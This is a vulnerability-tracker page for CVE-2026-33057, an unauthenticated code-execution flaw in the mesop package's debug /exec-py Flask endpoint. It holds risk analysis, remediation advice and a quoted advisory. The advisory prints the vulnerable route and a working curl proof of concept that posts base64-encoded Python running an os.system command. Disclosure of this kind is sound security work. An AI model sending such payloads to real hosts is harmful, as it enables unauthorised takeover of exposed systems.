Python
CVE-2026-33057
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend HTTP POST request to /exec-py endpoint
-
ExploitSubmit base64-encoded Python code in parameter
-
ExecutionFlask server decodes and evaluates code
-
ImpactExecute arbitrary commands with host privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit the |
| Impact | This vulnerability represents a critical real-world risk demanding immediate attention. The CVSS 3.1 score of 9.8 accurately reflects the severity with network-based attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), and no user interaction (UI:N), yielding complete system compromise (C:H/I:H/A:H). The publicly available proof-of-concept demonstrating working exploitation code significantly lowers the barrier to entry, making this vulnerability immediately weaponizable by attackers of all skill levels. While typically intended for development/testing environments, any production deployment or misconfigured instance with the debug server exposed becomes a trivial entry point for complete host takeover. The attack is fully automatable, requiring only network access to the vulnerable endpoint, making it suitable for mass exploitation campaigns. Organizations must treat this as a high-priority remediation target especially if the debug/sandbox components are inadvertently deployed in production or accessible from untrusted networks. |
| Exploit ScenarioDerived | An attacker scans internet-facing systems for exposed Flask debug servers running mesop's sandbox module, identifying the /exec-py endpoint through port scanning or exposed configuration. The attacker crafts a base64-encoded Python payload containing reverse shell commands or credential harvesting scripts and submits it via a simple curl POST request to the /exec-py route without any authentication. Within seconds, the malicious code executes with the privileges of the Flask application process, granting the attacker complete control over the host system to establish persistence, exfiltrate sensitive data, pivot to internal networks, or deploy ransomware. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
An unauthenticated remote code execution vulnerability exists in the mesop Python package's debugging Flask server endpoint (/exec-py) that accepts and executes arbitrary base64-encoded Python code without any authentication or validation. The vulnerability affects the mesop pip package, with a publicly disclosed proof-of-concept demonstrating trivial exploitation requiring only a single HTTP POST request. With a CVSS score of 9.8 (Critical) and detailed PoC availability, this represents an immediately exploitable vulnerability for any exposed instance.
RemediationAI
Immediately disable and remove the ai/sandbox/wsgi_app.py debugging Flask server from all production environments and any systems accessible from untrusted networks. Consult the official GitHub security advisory at https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v for vendor-provided patches and version updates that address this vulnerability. As an interim mitigation, implement strict network-level access controls using firewalls or security groups to restrict access to the sandbox server port exclusively to localhost (127.0.0.1) or authenticated development machines on isolated networks. Organizations should audit their mesop deployments to identify any instances where the debug/testing infrastructure is unintentionally exposed and implement defense-in-depth controls including web application firewalls, mandatory authentication, and input validation if the endpoint must remain accessible during development cycles.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in mesop (pkg:pip/mesop), a Python-based AI/ML framework's testing infrastructure module at ai/sandbox/wsgi_app.py. This is classified as CWE-94 (Improper Control of Generation of Code / Code Injection), where a Flask web application route directly accepts user-supplied Python code via the 'code' POST parameter, base64-decodes it, writes it to the filesystem, and executes it through execute_module() without any sandboxing, input validation, or authentication checks. The endpoint was designed as a lightweight debugging server but lacks fundamental security controls, allowing direct interpreter access to any network-reachable attacker.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.
Details
The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).
# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
code = base64.urlsafe_b64decode(request.form.get("code"))
# ... code is blindly written to file and forcefully executedPoC
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
#
# Base64 string represents the identical payload block above:
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==
curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="
# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attackerImpact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
Executive ViewAI
A critical remote code execution vulnerability in the mesop Python package allows attackers to execute arbitrary code on exposed systems without authentication. Any organization running mesop with its debugging endpoint exposed to the internet faces immediate risk of complete system compromise and data breach.
Disable mesop debugging server in production; restrict network access to /exec-py endpoint using firewall rules or WAF to trusted IPs only; implement WAF rules blocking POST requests to /exec-py; segment mesop instances to isolated networks with no internet access; remove mesop from production and use alternative packages; monitor for exploitation attempts via access logs and network intrusion detection.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-gjgx-rvqr-6w6v
NVD
CVE.org
EPSS
VulDB
Exploit-DB